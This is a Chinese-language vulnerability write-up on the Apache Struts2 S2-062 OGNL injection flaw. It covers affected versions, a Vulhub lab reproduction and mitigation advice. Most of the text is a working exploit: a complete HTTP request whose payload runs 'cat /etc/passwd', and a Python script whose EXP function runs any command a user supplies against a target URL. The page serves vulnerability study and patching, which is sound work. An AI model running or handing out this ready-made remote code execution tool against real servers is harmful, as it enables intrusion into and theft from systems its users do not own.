声明
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一、漏洞描述
此次 Apache Struts2 漏洞为 CVE-2020-17530 ( S2-061 )的修复不完整，导致输入验证不正确。
如果开发人员使用%{…} 语法进行强制 OGNL 解析，仍有一些特殊的 TAG 属性可以执行二次解析。对不受信任的用户输入使用强制 OGNL 解析可能会导致远程代码执行。
二、漏洞原理
开发人员使用%{…} 语法进行强制 OGNL 解析，有一些特殊的TAG属性可以执行二次解析。对不受信任的用户输入使用强制 OGNL 解析可能会导致远程代码执行。
三、影响版本
- Struts 2.0.0 - Struts 2.5.29
四、安全版本
- Struts >= 2.5.30
五、漏洞细节分析
六、本地复现
- 复现环境：Vulhub
/Struts2 /s2-061版本->Struts2：2.5.25 - 靶机：KALI
启动环境
docker ps
访问目标地址
漏洞EXP
POST /index.action HTTP/1.1
Host: X.X.X.X:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1096
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
执行结果
Py脚本测试
import requests
from lxml import etree
import argparse
def poc(url):
try:
headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
data = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94"
text=requests.post(url, headers=headers, data=data).text
if "id" in text:
print("发现漏洞")
page=etree.HTML(text)
data = page.xpath('//a[@id]/@id')
print(data[0])
except:
print("POC检测失败")
def EXP(url,cmd):
try:
headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
data ="------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94".replace("exec({'id","exec({'"+cmd)
text=requests.post(url, headers=headers, data=data).text
if "id" in text:
print("命令回显")
page=etree.HTML(text)
data = page.xpath('//a[@id]/@id')
print(data[0])
except:
print("EXP检测失败")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='S2-062验证')
parser.add_argument('--url', help="要验证的URL")
parser.add_argument('--cmd',help="你想执行的命令",default="")
args = parser.parse_args()
if args.cmd !="":
EXP(args.url,args.cmd)
else:
poc(args.url)
测试结果如下
七、漏洞修复
缓解措施
1、这些 UIBean 元素最终对 name 属性执行第二次 OGNL 评估，因为“value”属性不存在并且它试图填充该属性。因此，通过给所有属性一个空白值 =“”，这将有助于缓解这个问题。（例如：<s:label name="%{skillName}" value="" />
2、将 org.apache.commons.collection.BeanMap 添加到 Struts2 沙箱的 excludeClasses 列表将排除直接使用它。
厂商已发布新版本，请及时更新Struts至2.5.30或更高版本!!!
